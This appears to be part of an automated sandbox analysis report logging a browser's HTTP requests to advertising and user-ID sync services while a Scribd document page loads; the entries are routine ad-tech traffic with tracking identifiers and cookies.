emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=8gkxb6n&ttd_tpi=1&ttd_puid=AU1D-0100-001739863208-59L27RBO-LEXM&gdpr=0 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /bidRequest HTTP/1.1Host: c2shb.pubgw.yahoo.comConnection: keep-aliveContent-Length: 1551sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"content-type: application/jsonx-openrtb-version: 2.5sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /hb-multi HTTP/1.1Host: hb.yellowblue.ioConnection: keep-aliveContent-Length: 1723sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /bidRequest HTTP/1.1Host: c2shb.pubgw.yahoo.comConnection: keep-aliveContent-Length: 1551sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"content-type: application/jsonx-openrtb-version: 2.5sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /bidRequest HTTP/1.1Host: c2shb.pubgw.yahoo.comConnection: keep-aliveContent-Length: 1551sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"content-type: application/jsonx-openrtb-version: 2.5sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=audigent_w_appnexus_3985&google_cm&google_sc&google_ula=450542624&id=AU1D-0100-001739863208-59L27RBO-LEXM HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /api/v1/collect HTTP/1.1Host: a.ad.gtConnection: keep-aliveContent-Length: 604sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?sub=freestar&zcc=1&redir=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3Dunrulyfsx%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Di%26uid%3D%5BRX_UUID%5D&cb=1739863209871&us_privacy=1-N- HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /r/dd/id/L2NzaWQvMS9jaWQvMTc0ODI0MTY1OC90LzA/url/https%3A%2F%2Fids.ad.gt%2Fapi%2Fv1%2Famo_match%3Fturn_id%3D%24!%7BTURN_UUID%7D%26id%3DAU1D-0100-001739863208-59L27RBO-LEXM HTTP/1.1Host: d.turn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fgetuid%3Fhttps%3A%2F%2Fids.ad.gt%2Fapi%2Fv1%2Fmatch%3Fid%3DAU1D-0100-001739863208-59L27RBO-LEXM%26adnxs_id%3D%24UID%26gdpr%3D0 HTTP/1.1Host: secure.adnxs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; XANDR_PANID=24dbrseDowk2Tea9qm3uMABTmiFnTIm2QAbN3-EUqjhlicKUPETACtUGLX_c-IrOzrzny_F2Y9NDAzkaxY_Z_EfGF9cz6wrkKtt5g-96Lto.
Source: global traffic	HTTP traffic detected: GET /usync.html?endpoint=us-east&p=insticator HTTP/1.1Host: eus.rubiconproject.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /g/v2/882.json HTTP/1.1Host: id5-sync.comConnection: keep-aliveContent-Length: 500sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/segments?url=https%253A%252F%252Fwww.scribd.com%252Fdocument%252F806838445%252FBank-Statement&partner_id=474&tagger_id=b9be9e1d9d5a9785a6417a9309e00232&au_id=AU1D-0100-001739863208-59L27RBO-LEXM HTTP/1.1Host: seg.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /websiteconfig?bt_env=prod&o=5714937848528896&w=scribd.com&l=EN HTTP/1.1Host: api.btmessage.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/g_hosted?id=AU1D-0100-001739863208-59L27RBO-LEXM HTTP/1.1Host: ids.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: au_id=AU1D-0100-001739863208-59L27RBO-LEXM; au_3p_check=1
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?sub=insticator&zcc=1&cb=1739863210401 HTTP/1.1Host: sync.1rx.ioConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /us?https://ids.ad.gt/api/v1/son_match?id=AU1D-0100-001739863208-59L27RBO-LEXM&uid=[UID]&gdpr=0 HTTP/1.1Host: sync.go.sonobi.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /v1.0/parent/4d97a662ad/engagement/trigger/auction_end HTTP/1.1Host: pb-ing.ccgateway.netConnection: keep-aliveContent-Length: 2244sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: application/jsonAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: ccuid=f3ffd8df-60e7-492e-bada-9c7773cf1cd1
Source: global traffic	HTTP traffic detected: GET /usync.js HTTP/1.1Host: eus.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://eus.rubiconproject.com/usync.html?us_privacy=1-N-Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oq4I6BwCEg9fyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN; khaos_p=M7A5MT0O-13-DO11
Source: global traffic	HTTP traffic detected: GET /sync?us_privacy=1-N-&&ld=1 HTTP/1.1Host: eb2.3lift.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; tluidp=4416503600587711592667
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: geo.privacymanager.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ul_cb/sync?ssp=insticator&us_privacy=1-N-&gdpr=0 HTTP/1.1Host: x.bidswitch.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /idsync/ex/receive/check?partner_id=3185&partner_device_id=AU1D-0100-001739863208-59L27RBO-LEXM&partner_url=https://ids.ad.gt%2Fapi%2Fv1%2Ftapad_match%3Fid%3DAU1D-0100-001739863208-59L27RBO-LEXM%26tapad_id%3D%24%7BTA_DEVICE_ID%7D HTTP/1.1Host: pixel.tapad.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/openx?openx_id=378502ae-9c96-4b0b-9552-c7277e673193&id=AU1D-0100-001739863208-59L27RBO-LEXM&auid=AU1D-0100-001739863208-59L27RBO-LEXM HTTP/1.1Host: ids.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: au_id=AU1D-0100-001739863208-59L27RBO-LEXM; au_3p_check=1
Source: global traffic	HTTP traffic detected: GET /rules-p-UeXruRVtZz7w6.js HTTP/1.1Host: rules.quantcount.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/amo_match?turn_id=2831842467808715845&id=AU1D-0100-001739863208-59L27RBO-LEXM HTTP/1.1Host: ids.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: au_id=AU1D-0100-001739863208-59L27RBO-LEXM; au_3p_check=1
Source: global traffic	HTTP traffic detected: GET /api/v1/match?id=AU1D-0100-001739863208-59L27RBO-LEXM&adnxs_id=2630127119070967565&gdpr=0 HTTP/1.1Host: ids.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: au_id=AU1D-0100-001739863208-59L27RBO-LEXM; au_3p_check=1
Source: global traffic	HTTP traffic detected: GET /s/441/9.gif?puid=u_7fb5b5e5-fe03-4853-b9a4-c08f05008c91&gdpr=0&gdpr_consent= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /s/441/9.gif?puid=u_7459a9b8-1486-4e4a-b30a-1f160c22b2d9&gdpr=0&gdpr_consent= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /s/441/9.gif?puid=u_2c483b47-bf2b-4e11-a58c-5b96c7b774d9&gdpr=0&gdpr_consent= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/son_match?id=AU1D-0100-001739863208-59L27RBO-LEXM&uid=c5a1b939-3760-44ac-875e-a655dd180d0b&gdpr=0 HTTP/1.1Host: ids.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: au_id=AU1D-0100-001739863208-59L27RBO-LEXM; au_3p_check=1
Source: global traffic	HTTP traffic detected: GET /wdc/v1/sync/openx/65023955-4816-4674-89c6-bc6e7f69d9a0?uid=f774941a-45b7-4e8f-b6be-610608861271 HTTP/1.1Host: cs.ingage.techConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: __cf_bm=BDUwEWmSEFPGRv5FaDlLasay6hm0Aj6PQ31LRRhZ8Jk-1739863209-1.0.1.1-jyV.frSirUFWPei.rMRXF3Yc5_GFIVrg87NRKIwtpDSIpLr60DoJ9dNdyhnXnok_e6t8cng03MnfpEYDbdm.yQ
Source: global traffic	HTTP traffic detected: GET /v1/syncPage/unruly?uid=OPTOUT HTTP/1.1Host: cs.ingage.techConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: __cf_bm=BDUwEWmSEFPGRv5FaDlLasay6hm0Aj6PQ31LRRhZ8Jk-1739863209-1.0.1.1-jyV.frSirUFWPei.rMRXF3Yc5_GFIVrg87NRKIwtpDSIpLr60DoJ9dNdyhnXnok_e6t8cng03MnfpEYDbdm.yQ
